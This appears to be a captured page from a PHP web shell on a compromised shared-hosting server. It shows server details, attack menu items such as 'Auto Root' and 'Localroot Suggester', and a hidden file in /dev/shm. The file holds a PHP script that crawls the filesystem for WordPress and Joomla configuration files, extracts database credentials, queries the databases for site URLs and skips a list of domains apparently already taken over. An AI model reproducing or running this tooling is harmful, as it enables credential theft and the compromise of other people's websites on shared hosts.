Linux amd.servercpanel.com 5.14.0-570.25.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 9 04:57:09 EDT 2025 x86_64
LiteSpeed
Server IP : 161.248.188.165 & Your IP : 216.73.216.219
Domains :
Cant Read [ /etc/named.conf ]
User : oishifashion
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
dev /
shm /
Delete
Unzip
Name
Size
Permission
Date
Action
.reference
2.69
KB
-rw-r--r--
2025-12-27 02:10
Save
Rename
<?php $r = "/"; function is_valid_domain($domain) { if (!substr_count($domain, '.')) { return false; } if (stripos($domain, 'www.') === 0) { $domain = substr($domain, 4); } $again = 'http://' . $domain; return filter_var($again, FILTER_VALIDATE_URL); } function parse_define_value($line) { preg_match("/define\(.*'(.*)'\);/", $line, $matches); return isset($matches[1]) ? $matches[1] : null; } function scan_wp($p) { $data = file_get_contents($p); $pattern = "/table_prefix\s*=\s*'([^']*)';/i"; if (preg_match($pattern, $data, $matches)) { $table_prefix = $matches[1]; } else { $table_prefix = 'wp_'; } $lines = array_map('rtrim', file($p)); $conf = []; foreach ($lines as $line) { if (preg_match('/define\(\'(DB_USER|DB_HOST|DB_PASSWORD|DB_NAME)\'/', $line, $matches)) { $conf[$matches[1]] = parse_define_value($line); } } $mysqli = new mysqli($conf['DB_HOST'], $conf['DB_USER'], $conf['DB_PASSWORD'], $conf['DB_NAME']); if (!$mysqli->connect_errno) { if ($result = $mysqli->query("SELECT option_value FROM {$table_prefix}options WHERE option_name = 'siteurl';")) { $row = $result->fetch_object(); $result->close(); $p = dirname($p); print "<f>{$p}@@@{$row->option_value}@@@wp@@@{$p}</f>\n"; } $mysqli->close(); } } function scan_joomla($p) { $c = file_get_contents($p); preg_match("/live_site = '(.*?)';/", $c, $m); if (isset($m[1])) { $p = dirname($p); print "<f>{$p}@@@{$m[1]}@@@joomla@@@{$p}</f>\n"; } } function scan($path) { $existed = ["tsgbd.com","ap.oishifashion.com","drug.oishifashion.com","tmds.tsgbd.com","12ap.oishifashion.com","ap.tsgbd.com","etp.oishifashion.com","tssms.tsgbd.com","tt.oishifashion.com"]; if ($dir = @opendir($path)) { while (false !== ($file = readdir($dir))) { $p = $path . '/' . $file; if ($file != '.' && $file != '..') { $found = false; foreach ($existed as $domain) { if (strstr($p, $domain)) { $found = true; break; } } if ($found) { continue; } if (is_link($p)) { continue; } elseif (is_dir($p)) { scan($p); } elseif ($file == 'wp-config.php') { scan_wp($p); } elseif ($file == 'configuration.php') { scan_joomla($p); } } } } } scan($r); die('!ended!');